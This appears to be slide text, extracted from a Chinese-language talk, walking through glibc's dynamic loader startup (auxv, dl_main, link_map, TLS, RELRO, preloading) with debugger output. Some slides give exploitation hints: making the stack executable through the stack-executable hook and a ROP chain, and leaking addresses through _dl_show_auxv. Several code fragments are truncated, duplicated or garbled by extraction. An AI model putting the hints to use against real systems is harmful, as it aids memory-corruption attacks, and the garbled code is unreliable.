63:0318	0x7fffffff3b8 ← 0x8
64:0320	0x7fffffff3c0 ← 0x0
65:0328	0x7fffffff3c8 ← 9 /* '\t' */
66:0330	0x7fffffff3d0 → 0x55555555060 (_start) ← endbr64
67:0338	0x7fffffff3d8 ← 0xb /* '\x0b' */
pwndbg>	
68:0340	0x7fffffff3e0 ← 0x3e8
69:0348	0x7fffffff3e8 ← 0xc /* '\x0c' */
6a:0350	0x7fffffff3f0 ← 0x3e8
6b:0358	0x7fffffff3f8 ← 0xd /* '\r' */
6c:0360	0x7fffffff400 ← 0x3e8
6d:0368	0x7fffffff408 ← 0xe
6e:0370	0x7fffffff410 ← 0x3e8
6f:0378	0x7fffffff418 ← 0x17
pwndbg> auxv	
AT_SYSINFO_EHDR	0x7ffff7fcf000 ← jg 0x7ffff7fcf047
AT_HWCAP	0xbfebfbff
AT_PAGESZ	0x1000
AT_CLKTCK	0x64
AT_PHDR	0x555555554040 ← 0x400000006
AT_PHENT	0x38
AT_PHNUM	0xd
AT_BASE	0x7ffff7fd1000 ← 0x10102464c457f
AT_FLAGS	0x0
AT_ENTRY	0x55555555060 (_start) ← endbr64
AT_UID	0x3e8
AT_EUID	0x3e8
AT_GID	0x3e8
AT_EGID	0x3e8

u1f383@u1f383:~

```
t(void **start_argptr,
  (const ElfW(Phdr) * phdr, ElfW(Word) phnum,
  _entry, ElfW(auxv_t) * auxv))

_entry;
av;
IPONENTS(start_argptr, _dl_argc, _dl_argv, _environ,
          GLRO(dl_auxv));

ElfW(Addr) ENTRY_POINT;
dl_auxv); av->a_type != AT_NULL; set_seen(av++))
>a_type)

GESZ:
._pagesize) = av->a_un.a_val;

IDOM:
idom = (void *)av->a_un.a_val;

FORM_AUXV
(_environ);

IT;
platform) != NULL)
platformlen) = strlen(GLRO(dl_platform));

user_entry, GLRO(dl_auxv));
```

實際上 auxv 就落在環境變數後面，用 **Elf64_auxv_t** 結構描述，第一個 8 bytes 為 type，第二個為 value

\$ DL Start

_dl_sysdep_start

- ▶ 初始化 global 變數
- ▶ 根據 auxv 初始化 global 變數以及 link_map 的成員
- ▶ 初始化 tunable、CPU feature 與 heap
- ▶ 呼叫 dl_main
- ▶ 回傳 executable 的 entry point

```
u1f383@u1f383:~$ ElfW(Addr) _dl_sysdep_start(void **start_argptr, void (*dl_main)(const ElfW(Phdr) * phdr, ElfW(Word) phnum, ElfW(Addr) * user_entry, ElfW(auxv_t) * auxv)) { ElfW(Addr) user_entry; ElfW(auxv_t) * av; DL_FIND_ARG_COMPONENTS(start_argptr, _dl_argc, _dl_argv, _environ, GLRO(dl_auxv)); user_entry = (ElfW(Addr))ENTRY_POINT; for (av = GLRO(dl_auxv); av->a_type != AT_NULL; set_seen(av++)) switch (av->a_type) { ... case AT_PAGESZ: GLRO(dl_pagesize) = av->a_un.a_val; } } __tunables_init(_environ); DL_SYSDEP_INIT; DL_PLATFORM_INIT;
```

tunable 提供使用者能透過環境變數來調整 glibc 環境，像是設定 glibc.malloc.tcache_count 就能調整 tcache entry 的個數 (default: 7)

1. 呼叫 brk 得到之後 **heap** 的位址並存在變數 **__curbrk**
2. 呼叫 cpuid 來初始化 linkmap 當中的 CPU feature member

\$ DL Start

_dl_sysdep_start

- ▶ 初始化 global 變數
- ▶ 根據 auxv 初始化 global 變數以及 link_map 的成員
- ▶ 初始化 tunable、CPU feature 與 heap
- ▶ 呼叫 dl_main
- ▶ 回傳 executable 的 entry point

```
u1f383@u1f383:~$ ElfW(Addr) _dl_sysdep_start(void **start_argptr, void (*dl_main)(const ElfW(Phdr) * phdr, ElfW(Word) phnum, ElfW(Addr) * user_entry, ElfW(auxv_t) * auxv)) { ElfW(Addr) user_entry; ElfW(auxv_t) * av; DL_FIND_ARG_COMPONENTS(start_argptr, _dl_argc, _dl_argv, _environ, GLRO(dl_auxv)); user_entry = (ElfW(Addr))ENTRY_POINT; for (av = GLRO(dl_auxv); av->a_type != AT_NULL; set_seen(av++)) switch (av->a_type) { ... case AT_PAGESZ: GLRO(dl_pagesize) = av->a_un.a_val; break; ... case AT_RANDOM: _dl_random = (void *)av->a_un.a_val; break; } DL_PLATFORM_AUXV __tunables_init(_environ); } (*dl_main)(phdr, phnum, &user_entry, GLRO(dl_auxv)); return user_entry; }
```

dl_main 不僅是設置執行環境的 function，同時也是 **ld.so** 的 main，另外有趣的是，他呼叫的時候是執行 **call rbp**

\$ DL Start

_dl_sysdep_start

- ▶ 初始化 global 變數
- ▶ 根據 auxv 初始化 global 變數以及 link_map 的成員
- ▶ 初始化 tunable、CPU feature 與 heap
- ▶ 呼叫 dl_main
- ▶ 回傳 executable 的 entry point


```
u1f383@u1f383:~$ ElfW(Addr) _dl_sysdep_start(void **start_argptr, void (*dl_main)(const ElfW(Phdr) * phdr, ElfW(Word) phnum, ElfW(Addr) * user_entry, ElfW(auxv_t) * auxv)) { ElfW(Addr) user_entry; ElfW(auxv_t) * av; DL_FIND_ARG_COMPONENTS(start_argptr, _dl_argc, _dl_argv, _environ, GLRO(dl_auxv)); user_entry = (ElfW(Addr))ENTRY_POINT; for (av = GLRO(dl_auxv); av->a_type != AT_NULL; set_seen(av++)) switch (av->a_type) { ... case AT_PAGESZ: GLRO(dl_pagesize) = av->a_un.a_val; break; ... case AT_RANDOM: _dl_random = (void *)av->a_un.a_val; break; } DL_PLATFORM_AUXV __tunables_init(_environ); (*dl_main)(phdr, phnum, &user_entry, GLRO(dl_auxv)); return user_entry; }
```

回傳 executable 的 entry point，也就是 executable 的 `_start`

\$ DL Start

_dl_main part1

- ▶ 初始化 Id link_map 紀錄的 hook 以及 data
- ▶ 處理 LD_prefix 的環境變數
- ▶ 為 executable 建立 link_map
- ▶ 初始變數以及增加 executable ref count



```
u1f383@u1f383:~$ static void
dl_main(const ElfW(Phdr) * phdr,
ElfW(Word) phnum,
ElfW(Addr) * user_entry,
ElfW(auxv_t) * auxv)
{
    GL(dl_init_static_tls) = &_dl_nothread_init_static_tls;
    ...
    GL(dl_make_stack_executable_hook) = &_dl_make_stack_executable;
    process_envvars(&mode);
    if (*user_entry == (ElfW(Addr))ENTRY_POINT) { ... }
    else
    {
        main_map = _dl_new_object((char *)"", "", lt_executable, NULL,
                                  __RTLD_OPENEXEC, LM_ID_BASE);
        main_map->l_phdr = phdr;
        ...
        _dl_add_to_namespace_list(main_map, LM_ID_BASE);
    }

    main_map->l_map_end = 0;
    ...
    ++main_map->l_direct_opencount;
    ...
}
```

\$ DL Start

_dl_main part1

- ▶ 初始化 Id link_map 紀錄的 hook 以及 data
- ▶ 處理 LD_prefix 的環境變數
- ▶ 為 executable 建立 link_map
- ▶ 初始化變數以及增加 executable ref count

The screenshot shows a terminal window with the title 'u1f383@u1f383:/' and a command prompt '\$'. The assembly code is displayed in green and blue syntax highlighting. A red box highlights two specific lines:

```
static void
dl_main(const ElfW(Phdr) * phdr,
ElfW(Word) phnum,
ElfW(Addr) * user_entry,
ElfW(auxv_t) * auxv)
{
    GL(dl_init_static_tls) = &_dl_nothread_init_static_tls;
    ...
    GL(dl_make_stack_executable_hook) = &_dl_make_stack_executable;
```

A yellow callout box points to the highlighted code with the text: "初始化 Id link_map 的 member ,而在一定的條件下，可以透過 **_dl_make_stack_executable** 讓 stack 的位址變成可執行".

Below the highlighted code, more assembly code is shown:

```
main_map->l_phdr = phdr;
...
_dl_add_to_namespace_list(main_map, LM_ID_BASE);
}

main_map->l_map_end = 0;
...
++main_map->l_direct_opencount;
...
```

\$ DL Stack

_dl_main part

- ▶ 初始化 Id link_data
- ▶ 處理 LD_prefix
- ▶ 為 executable
- ▶ 初始變數以及 count

```
#ifdef SHARED                                         _dl_map_object_from_fd+4902
    if ((mode & (_RTLD_DLOPEN | _RTLD_AUDIT)) == _RTLD_DLOPEN)
    {
        const uintptr_t p = (uintptr_t) &__stack_prot & -GLRO(dl_pagesize);
        const size_t s = (uintptr_t) (&__stack_prot + 1) - p;

        struct link_map *const m = &GL(rtld.map);
        const void *addr = m->l_addr;
        if (addr < p || addr > p + s)
        {
            /* The variable lies in the region protected by RELRO. */
            if (__mprotect ((void *) p, s, PROT_READ|PROT_WRITE) < 0)
            {
                errstring = N_("cannot change memory protections");
                goto call_lose_errno;
            }
            __stack_prot |= PROT_READ|PROT_WRITE|PROT_EXEC;
            __mprotect ((void *) p, s, PROT_READ);
        }
        else
            __stack_prot |= PROT_READ|PROT_WRITE|PROT_EXEC;
    }
#endif
__stack_prot = __stack_prot & ~PROT_READ;
#ifdef check_consistency
    check_consistency();
#endif
errval = (*GL(dl_make_stack_executable_hook))(stack_endp);
```

__stack_prot 本身為 RO，並且紀錄 stack 權限為 RW，不過跳到這可以將其改成 RWX

這邊雖然會執行 `_dl_make_stack_executable` 讓 `*rdi (stack address)` 變成可執行，但是後續執行會 crash，所以可能需要改寫 hook 成 ROP chain 讓更新 stack 權限後可以跳到 stack

\$ DL Start

_dl_main part1

- ▶ 初始化 ld link_map 紀錄的 hook 以及 data
- ▶ 處理 LD_prefix 的環境變數
- ▶ 為 executable 建立 link_map
- ▶ 初始變數以及增加 executable ref count

```
static void  
dl_main(const ElfW(Phdr) * phdr,  
ElfW(Word) phnum,  
ElfW(Addr) * user_entry,  
...)
```

LD_PRELOAD、LD_LIBRARY_PATH 等等環境變數由這邊處理，
其中如果餵入 LD_SHOW_AUXV=1 則會執行 `_dl_show_auxv`

```
process_envvars(&mode);  
if (*user_entry == (ElfW(Addr))ENTRY_POINT) { ... }  
else
```

```
pwndbg> auxv  
AT_SYSINFO_EHDR 0x7ffff7fcf000 ← jg 0x7ffff7fcf047  
AT_HWCAP 0xbfebfbff  
AT_PAGESZ 0x1000  
AT_CLKTCK 0x64  
AT_PHDR 0x55555554040 ← 0x400000006  
AT_PHENT 0x38  
AT_PHNUM 0xe  
AT_BASE 0x7ffff7fd1000 ← 0x10102464c457f  
AT_FLAGS 0x0  
AT_ENTRY 0x55555555060 (_start) ← endbr64  
AT_UID 0x3e8  
AT_EUID 0x3e8  
AT_GID 0x3e8  
AT_EGID 0x3e8  
AT_SECURE 0x0
```

`_dl_show_auxv` 可以 leak code base / stack address /
binary path，雖然可以得到許多資訊，不過需要控 rip + leak

\$ DL Start

_dl_main part1

- ▶ 初始化 Id link_map 紀錄的 hook 以及 data
- ▶ 處理 LD_prefix 的環境變數
- ▶ 為 executable 建立 link_map
- ▶ 初始化變數以及增加 executable ref count



```
static void
_dl_main(const ElfW(Phdr) * phdr,
         ElfW(Word) phnum,
         ElfW(Addr) * user_entry,
         ElfW(auxv_t) * auxv)
{
    GL(dl_init_static_tls) = &_dl_nothread_init_static_tls;
    ...
    GL(dl_make_stack_executable_hook) = &_dl_make_stack_executable;
    process_envvars(&mode);
    if (*user_entry == (ElfW(Addr))ENTRY_POINT) { ... }
    else
    {
        main_map = _dl_new_object((char *)"", "", lt_executable, NULL,
                                  __RTLD_OPENEXEC, LM_ID_BASE);
        main_map->l_phdr = phdr;
        ...
        _dl_add_to_namespace_list(main_map, LM_ID_BASE);
    }


    main_map->l_map_end = 0;
    ...
    ++main_map->l_direct_opencount;
```

建立 link_map 前會先檢查 executable 是否為 Id 自己，如果是會有一些 option 的處理；executable 本身可以執行在許多 namespace，因此 namespace 自己會用 list 將 object 串起

\$ DL Start

_dl_main part1

- ▶ 初始化 Id link_map 紀錄的 hook 以及 data
- ▶ 處理 LD_prefix 的環境變數
- ▶ 為 executable 建立 link_map
- ▶ 初始變數以及增加 executable ref count



```
static void
_dl_main(const ElfW(Phdr) * phdr,
ElfW(Word) phnum,
ElfW(Addr) * user_entry,
ElfW(auxv_t) * auxv)
{
    GL(dl_init_static_tls) = &_dl_nothread_init_static_tls;
    ...
    GL(dl_make_stack_executable_hook) = &_dl_make_stack_executable;
    process_envvars(&mode);
    if (*user_entry == (ElfW(Addr))ENTRY_POINT) { ... }
    else
    {
        main_map = _dl_new_object((char *)"", "", lt_executable, NULL,
                                  __RTLD_OPENEXEC, LM_ID_BASE);
        main_map->l_phdr = phdr;
        ...
        _dl_add_to_namespace_list(main_map, LM_ID_BASE);
    }

    main_map->l_map_end = 0;
    ...
    ++main_map->l_direct_opencount;
    ...
}
```

初始化 executable 的 link_map 並增加 ref count

\$ DL Start

_dl_main part2

- ▶ Parse program header 並初始化 link_map
- ▶ 更新存放 TLS 變數 section 的位址
- ▶ ld 有多個名稱，更新 link_map 所紀錄的 name list
- ▶ 解析 dynamic section，並 cache hash table
- ▶ 設置 vdso link_map 以及 function pointer
- ▶ 初始全域變數 _r_debug



```
for (ph = phdr; ph < &phdr[phnum]; ++ph)
    switch (ph->p_type)
    {
        case PT_PHDR:
            ...
        case PT_NOTE:
            ...
    }

    if (main_map->l_tls_initimage != NULL)
        main_map->l_tls_initimage = (char *)main_map->l_tls_initimage +
                                      main_map->l_addr;

    if (... /* 如果 ld 有多個 name */)
    {
        static struct libname_list newname;
        ... // update member
        GL(dl_rtld_map).l_libname->next = &newname;
    }


    if (!rtld_is_main)
    {
        elf_get_dynamic_info(main_map, NULL);
        _dl_setup_hash(main_map);
    }

    setup_vdso(main_map, &first_preload);
    setup_vdso_pointers();
    struct r_debug *r = _dl_debug_initialize(GL(dl_rtld_map).l_addr,
                                              LM_ID_BASE);
```

\$ DL Start

_dl_main part2

- ▶ Parse program header 並初始化 link_map
- ▶ 更新存放 TLS 變數 section 的位址
- ▶ ld 有多個名稱，更新 link_map 所紀錄的 name list
- ▶ 解析 dynamic section，並 cache hash table
- ▶ 設置 vdso link_map 以及 function pointer
- ▶ 初始全域變數 _r_debug



The screenshot shows a terminal window with the command `u1f383@u1f383:/`. The code in the terminal is:

```
for (ph = phdr; ph < &phdr[phnum]; ++ph)
    switch (ph->p_type)
    {
        case PT_PHDR:
            ...
        case PT_NOTE:
            ...
    }
```

A yellow callout box highlights the code block above, containing the text:

將 program header 的資訊儲存到變數 `_rtld_global_ro` / `_rtld_global`，以及結構 `link_map` 當中

The rest of the terminal window shows more code, including:

```
...
{
    static struct libname_list newname;
    ... // update member
    GL(dl_rtld_map).l_libname->next = &newname;
}

if (!rtld_is_main)
{
    elf_get_dynamic_info(main_map, NULL);
    _dl_setup_hash(main_map);
}

setup_vdso(main_map, &first_preload);
setup_vdso_pointers();
struct r_debug *r = _dl_debug_initialize(GL(dl_rtld_map).l_addr,
                                         LM_ID_BASE);
```

\$ DL Start

_dl_main part2

- ▶ Parse program header 並初始化 link_map
- ▶ 更新存放 TLS 變數 section 的位址
- ▶ ld 有多個名稱，更新 link_map 所紀錄的 name list
- ▶ 解析 dynamic section，並 cache hash table
- ▶ 設置 vdso link_map 以及 function pointer
- ▶ 初始全域變數 _r_debug



```
for (ph = phdr; ph < &phdr[phnum]; ++ph)
    switch (ph->p_type)
    {
        case PT_PHDR:
            ...
        case PT_NOTE:
            ...
    }

    if (main_map->l_tls_initimage != NULL)
        main_map->l_tls_initimage = (char *)main_map->l_tls_initimage +
                                    main_map->l_addr;

    if (... /* 如果
    {
        static str...
        ... // upda...
        GL(dl_rtld_map).l_lipname->next = &newname;
    }

    if (!rtld_is_main)
    {
        elf_get_dynamic_info(main_map, NULL);
        _dl_setup_hash(main_map);
    }

    setup_vdso(main_map, &first_preload);
    setup_vdso_pointers();
    struct r_debug *r = _dl_debug_initialize(GL(dl_rtld_map).l_addr,
                                              LM_ID_BASE);
```

如果有使用 tls section，
更新 section 的絕對位址

\$ DL Start

_dl_main part2

- ▶ Parse program header 並初始化 link_map
- ▶ 更新存放 TLS 變數 section 的位址
- ▶ Id 有多個名稱，更新 link_map 所紀錄的 name list
- ▶ 解析 dynamic section，並 cache hash table
- ▶ 設置 vdso link_map 以及 function pointer
- ▶ 初始全域變數 _r_debug

The terminal window shows two snippets of C code. The top snippet is part of a program header parser:

```
for (ph = phdr; ph < &phdr[phnum]; ++ph)
    switch (ph->p_type)
    {
        case PT_PHDR:
            ...
        case PT_NOTE:
            ...
    }

    if (main_map->l_tls_initimage != NULL)
        main_map->l_tls_initimage = (char *)main_map->l_tls_initimage +
            main_map->l_addr;
```

The bottom snippet shows a simple C program with a TLS variable:

```
#include <stdio.h>
__thread int a = 0x1234;

int main()
{
    puts("OWO");
}
```

A yellow callout box highlights the `__thread` keyword and contains the text: "C 當中可以用 `__thread` 屬性來定義 tls data".

\$ DL Start

_dl_main part2

- ▶ Parse program header 並初始化 link_map
- ▶ 更新存放 TLS 變數 section 的位址
- ▶ ld 有多個名稱，更新 link_map 所紀錄的 name list
- ▶ 解析 dynamic section，並 cache hash table
- ▶ 設置 vdso link_map 以及 function pointer
- ▶ 初始全域變數 _r_debug



The screenshot shows a terminal window with the command `u1f383@u1f383:~`. The code is a snippet of C code for the dynamic linker's main entry point. It iterates through program headers, handles PT_PHDR and PT_NOTE sections, and then processes the `ld` name list. A red box highlights the section where it updates the `name list`.

```
for (ph = phdr; ph < &phdr[phnum]; ++ph)
    switch (ph->p_type)
    {
        case PT_PHDR:
            ...
        case PT_NOTE:
            ...
    }

    if (main_map->l_tls_initimage != NULL)
        main_map->l_tls_initimage = (char *)main_map->l_tls_initimage +
                                    main_map->l_addr;

    if (... /* 如果 ld 有多個 name */)
    {
        static struct libname_list newname;
        ... // update member
        GL(dl_rtld_map).l_libname->next = &newname;
    }

    eLT_get_dynamic_info(main_map, NULL);
    _dl_setup_hash(main_map);

    setup_vdso(main_map, &first_preload);
    setup_vdso_pointers();
    struct r_debug *r = _dl_debug_initialize(GL(dl_rtld_map).l_addr,
                                              LM_ID_BASE);
```

例如 `libc.so.6 → /lib/x86_64-linux-gnu/libc.so.6`

\$ DL Start

_dl_main part2

- ▶ Parse program header 並初始化 link_map
- ▶ 更新存放 TLS 變數 section 的位址
- ▶ ld 有多個名稱，更新 link_map 所紀錄的 name list
- ▶ 解析 dynamic section，並 cache hash table
- ▶ 設置 vdso link_map 以及 function pointer
- ▶ 初始全域變數 _r_debug



```
for (ph = phdr; ph < &phdr[phnum]; ++ph)
    switch (ph->p_type)
    {
        case PT_PHDR:
            ...
        case PT_NOTE:
            ...
    }

    if (main_map->l_tls_initimage != NULL)
        main_map->l_tls_initimage = (char *)main_map->l_tls_initimage +
                                      main_map->l_addr;

    if (... /* 如果 ld 有多個 name */)
    {
        static struct libname_list newname;
        ... // update member
        GL(dl_rtld_map).l_libname->next = &newname;
    }

    if (!rtld_is_main)
    {
        elf_get_dynamic_info(main_map, NULL);
        _dl_setup_hash(main_map);
    }
}

tld_map).l_addr,
ASE);
```

解析 dynamic section，之後將 **GNU_HASH** section 的資料存在 link_map

\$ DL Start

_dl_main part2

- ▶ Parse program header 並初始化 link_map
- ▶ 更新存放 TLS 變數 section 的位址
- ▶ ld 有多個名稱，更新 link_map 所紀錄的 name list
- ▶ 解析 dynamic section，並 cache hash table
- ▶ 設置 vdso link_map 以及 function pointer
- ▶ 初始全域變數 _r_debug

```
for (ph = phdr; ph < &phdr[phnum]; ++ph)
    switch (ph->p_type)
    {
        case PT_PHDR:
            ...
        case PT_NOTE:
            ...
    }

    if (main_map->l_tls_initimage != NULL)
        main_map->l_tls_initimage = (char *)main_map->l_tls_initimage +
                                    main_map->l_addr;

    if (... /* 如果 ld 有多個 name */)
    {
        static struct libname_list newname;
        ... // update member
        GL(dl_rtld_map).l_libname->next = &newname;
    }
}
```


vdso 也有自己的 link_map，初始化完後會將 vdso function 位址存到 **ld** link_map 的 function ptr member

```
setup_vdso(main_map, &first_preload);
setup_vdso_pointers();
struct r_debug *r = _dl_debug_initialize(GL(dl_rtld_map).l_addr,
                                         LM_ID_BASE);
```

\$ DL Start

_dl_main part2

- ▶ Parse program header 並初始化 link_map
- ▶ 更新存放 TLS 變數 section 的位址
- ▶ ld 有多個名稱，更新 link_map 所紀錄的 name list
- ▶ 解析 dynamic section，並 cache hash table
- ▶ 設置 vdso link_map 以及 function pointer
- ▶ 初始全域變數 _r_debug



```
for (ph = phdr; ph < &phdr[phnum]; ++ph)
    switch (ph->p_type)
    {
        case PT_PHDR:
            ...
        case PT_NOTE:
            ...
    }

    if (main_map->l_tls_initimage != NULL)
        main_map->l_tls_initimage = (char *)main_map->l_tls_initimage +
                                    main_map->l_addr;

    if (... /* 如果 ld 有多個 name */)
    {
        static struct libname_list newname;
        ... // update member
        GL(dl_rtld_map).l_libname->next = &newname;
    }

    if (!rtld_is_main)
    {
        ...
    }
    set_r_debug();
    setup_vdso_pointers(),
    struct r_debug *r = _dl_debug_initialize(GL(dl_rtld_map).l_addr,
                                              LM_ID_BASE);
```

正常情況下 `_r_debug` 在 debug 時相關資料才有用，不過在後面 CTF 題做 exploit 時會使用到

\$ DL Start

_dl_main part3

- ▶ 初始化一大堆變數

- ⌚ TLS module id

- ⌚ RELRO

- ⌚ Other

- ▶ executable 的 link_map 會將 _r_debug 的位址存到 l_info[DT_DEBUG]

```
u1f383@u1f383:/
```

```
if (!GL(dl_rtld_map).l_name)
    GL(dl_rtld_map).l_name = (char *)GL(dl_rtld_map).l_libname->name;
GL(dl_rtld_map).l_type = lt_library;
main_map->l_next = &GL(dl_rtld_map);
GL(dl_rtld_map).l_prev = main_map;
++GL(dl_ns)[LM_ID_BASE].ns_nloaded;
++GL(dl_load_adds);

if (GLR0(dl_use_load_bias) == (ElfW(Addr)) - 2)
    GLR0(dl_use_load_bias) = main_map->l_addr == 0 ? -1 : 0;

const ElfW(Ehdr) * rtld_ehdr;
rtld_ehdr = (void *)GL(dl_rtld_map).l_map_start;
const ElfW(Phdr) *rtld_phdr = (const void *)rtld_ehdr + rtld_ehdr->e_phoff;
GL(dl_rtld_map).l_phdr = rtld_phdr;
GL(dl_rtld_map).l_phnum = rtld_ehdr->e_phnum;

size_t cnt = rtld_ehdr->e_phnum;
while (cnt-- > 0)
    if (rtld_phdr[cnt].p_type == PT_GNU_RELRO)
    {
        GL(dl_rtld_map).l_relro_addr = rtld_phdr[cnt].p_vaddr;
        GL(dl_rtld_map).l_relro_size = rtld_phdr[cnt].p_memsz;
        break;
    }

if (GL(dl_rtld_map).l_tls_blocksize != 0)
    GL(dl_rtld_map).l_tls_modid = _dl_next_tls_modid();

if (main_map->l_info[DT_DEBUG] != NULL)
    main_map->l_info[DT_DEBUG]->d_un.d_ptr = (ElfW(Addr))r;
```

\$ DL Start

_dl_main part3


- ▶ 初始化一大堆變數

- ⌚ TLS module id

- ⌚ RELRO

- ⌚ Other

- ▶ executable 的 link_map 會將 _r_debug 的位址存到 l_info[DT_DEBUG]



```
if (!GL(dl_rtld_map).l_name)
    GL(dl_rtld_map).l_name = (char *)GL(dl_rtld_map).l_libname->name;
GL(dl_rtld_map).l_type = lt_library;
main_map->l_next = &GL(dl_rtld_map);
GL(dl_rtld_map).l_prev = main_map;
++GL(dl_ns)[LM_ID_BASE].ns_nloaded;
++GL(dl_load_adds);

if (GLR0(dl_use_load_bias) == (ElfW(Addr)) - 2)
    GLR0(dl_use_load_bias) = main_map->l_addr == 0 ? -1 : 0;

const ElfW(Ehdr) * rtld_ehdr;
rtld_ehdr = (void *)GL(dl_rtld_map).l_map_start;
const ElfW(Phdr) *rtld_phdr = (const void *)rtld_ehdr + rtld_ehdr->e_phoff;
GL(dl_rtld_map).l_phdr = rtld_phdr;
GL(dl_rtld_map).l_phnum = rtld_ehdr->e_phnum;

size_t cnt = rtld_ehdr->e_phnum;
while (cnt-- > 0)
    if (rtld_phdr[cnt].p_type == PT_GNU_RELRO)
    {
        GL(dl_rtld_map).l_relo_addr = rtld_phdr[cnt].p_vaddr;
        GL(dl_rtld_map).l_relo_memsz = rtld_phdr[cnt].p_memsz;
    }

if (GL(dl_rtld_map).l_tls_blocksize != 0)
    GL(dl_rtld_map).l_tls_modid = _dl_next_tls_modid();

if (main_map->l_info[DT_DEBUG] != NULL)
    main_map->l_info[DT_DEBUG]->d_un.d_ptr = (ElfW(Addr))r;
```

如果 dl 有用 tls，給他一個 module id

```
if (GL(dl_rtld_map).l_tls_blocksize != 0)
    GL(dl_rtld_map).l_tls_modid = _dl_next_tls_modid();
```

\$ DL Start

_dl_main part3


- ▶ 初始化一大堆變數

- ⌚ TLS module id

- ⌚ RELRO

- ⌚ Other

- ▶ executable 的 link_map 會將 _r_debug 的位址存到 l_info[DT_DEBUG]



```
if (!GL(dl_rtld_map).l_name)
    GL(dl_rtld_map).l_name = (char *)GL(dl_rtld_map).l_libname->name;
GL(dl_rtld_map).l_type = lt_library;
main_map->l_next = &GL(dl_rtld_map);
GL(dl_rtld_map).l_prev = main_map;
++GL(dl_ns)[LM_ID_BASE].ns_nloaded;
++GL(dl_load_adds);

if (GLR0(dl_use_load_bias) == (ElfW(Addr)) - 2)
    GLR0(dl_use_load_bias) = main_map->l_addr == 0 ? -1 : 0;

const ElfW(Ehdr) * rtld_ehdr;
rtld_ehdr = (void *)GL(dl_rtld_map).l_map_start;
const ElfW(Phdr) *rtld_phdr = (const void *)rtld_ehdr + rtld_ehdr->e_phoff;
GL(dl_rtld_map).l_phdr = rtld_phdr;
GL(dl_rtld_map).l_phnum = rtld_ehdr->e_phnum;

size_t cnt = rtld_ehdr->e_phnum;
while (cnt-- > 0)
    if (rtld_phdr[cnt].p_type == PT_GNU_RELRO)
    {
        GL(dl_rtld_map).l_relro_addr = rtld_phdr[cnt].p_vaddr;
        GL(dl_rtld_map).l_relro_size = rtld_phdr[cnt].p_memsz;
        break;
    }

if (GL(dl_rtld_map).l_relro_size > 0)
{
    if (rtld_ehdr->e_shoff + rtld_ehdr->e_shnum * 4 + rtld_ehdr->e_shstrndx * 8 <= rtld_ehdr->e_phoff + rtld_ehdr->e_phnum * 16)
        rtld_ehdr = (void *)rtld_ehdr + rtld_ehdr->e_shoff + rtld_ehdr->e_shnum * 4 + rtld_ehdr->e_shstrndx * 8;
    else
        rtld_ehdr = (void *)rtld_ehdr + rtld_ehdr->e_phoff + rtld_ehdr->e_phnum * 16;
}
```

從 program header 中找 RELRO，更新位址與大小到 Id link_map

\$ DL Start

_dl_main part3

- ▶ 初始化一大堆變數

- ⌚ TLS module id

- ⌚ RELRO

- ⌚ Other

- ▶ executable 的 link_map 會將 _r_debug 的位址存到 l_info[DT_DEBUG]

```
if (!GL(dl_rtld_map).l_name)
    GL(dl_rtld_map).l_name = (char *)GL(dl_rtld_map).l_libname->name;
GL(dl_rtld_map).l_type = lt_library;
main_map->l_next = &GL(dl_rtld_map);
GL(dl_rtld_map).l_prev = main_map;
++GL(dl_ns)[LM_ID_BASE].ns_nloaded;
++GL(dl_load_addrs);

if (GLR0(dl_use_load_bias) == (ElfW(Addr)) - 2)
    GLR0(dl_use_load_bias) = main_map->l_addr == 0 ? -1 : 0;

const ElfW(Ehdr) * rtld_ehdr;
rtld_ehdr = (void *)GL(dl_rtld_map).l_map_start;
const ElfW(Phdr) *rtld_phdr = (const void *)rtld_ehdr + rtld_ehdr->e_phoff;
GL(dl_rtld_map).l_phdr = rtld_phdr;
GL(dl_rtld_map).l_phnum = rtld_ehdr->e_phnum;

size_t cnt = rtld_ehdr->e_phnum;
```

儲存 lib name / 更新 linkmap member / 增加 ref conut 等等。
整個 link_map 是由 linked list 所維持，因此在新一個新的
object，會需要將其聯繫起來

```
if (GL(dl_rtld_map).l_tls_blocksize != 0)
    GL(dl_rtld_map).l_tls_modid = _dl_next_tls_modid();

if (main_map->l_info[DT_DEBUG] != NULL)
    main_map->l_info[DT_DEBUG]->d_un.d_ptr = (ElfW(Addr))r;
```

\$ DL Start

_dl_main part3

- ▶ 初始化一大堆變數

- ⌚ TLS module id

- ⌚ RELRO

- ⌚ Other

- ▶ executable 的 link_map 會將 _r_debug 的位址存到 l_info[DT_DEBUG]

```
if (!GL(dl_rtld_map).l_name)
    GL(dl_rtld_map).l_name = (char *)GL(dl_rtld_map).l_libname->name;
GL(dl_rtld_map).l_type = lt_library;
main_map->l_next = &GL(dl_rtld_map);
GL(dl_rtld_map).l_prev = main_map;
++GL(dl_ns)[LM_ID_BASE].ns_nloaded;
++GL(dl_load_addrs);

if (GLR0(dl_use_load_bias) == (ElfW(Addr)) - 2)
    GLR0(dl_use_load_bias) = main_map->l_addr == 0 ? -1 : 0;

const ElfW(Ehdr) * rtld_ehdr;
rtld_ehdr = (void *)GL(dl_rtld_map).l_map_start;
const ElfW(Phdr) *rtld_phdr = (const void *)rtld_ehdr + rtld_ehdr->e_phoff;
GL(dl_rtld_map).l_phdr = rtld_phdr;
GL(dl_rtld_map).l_phnum = rtld_ehdr->e_phnum;

size_t cnt = rtld_ehdr->e_phnum;
while (cnt-- > 0)
    if (rtld_phdr[cnt].p_type == PT_GNU_RELRO)
    {
        GL(dl_rtld_map).l_relro_addr = rtld_phdr[cnt].p_vaddr;
        GL(dl_rtld_map).l_relro_size = rtld_phdr[cnt].p_memsz;
        break;
    }

if (GL(dl_rtld_map).l_tls_blocksize != 0)
    GL(dl_rtld_map).l_tls_modid = _dl_next_tls_modid();


if (main_map->l_info[DT_DEBUG] != NULL)
    main_map->l_info[DT_DEBUG]->d_un.d_ptr = (ElfW(Addr))r;
```

取得 _r_debug 位址，寫到 executable 的
link_map l_info[] 當中

\$ DL Start

_dl_main part4

- ▶ 處理三種 preload library 的方法
 - ⦿ Environment variable “LD_PRELOAD”
 - ⦿ Argument “--preload”
 - ⦿ File “/etc/ld.so.preload”
- ▶ 加載使用到的 object 並處理 object 彼此的 dependency
- ▶ Mark 加載的 object 已經在 global scope




```
u1f383@u1f383:~$  
  
struct link_map **preloads = NULL;  
unsigned int npreloads = 0;  
  
if (__glibc_unlikely(preloadlist != NULL))  
    npreloads += handle_preload_list(preloadlist, main_map, "LD_PRELOAD");  
  
if (__glibc_unlikely(preloadarg != NULL))  
    npreloads += handle_preload_list(preloadarg, main_map, "--preload");  
  
static const char preload_file[] = "/etc/ld.so.preload";  
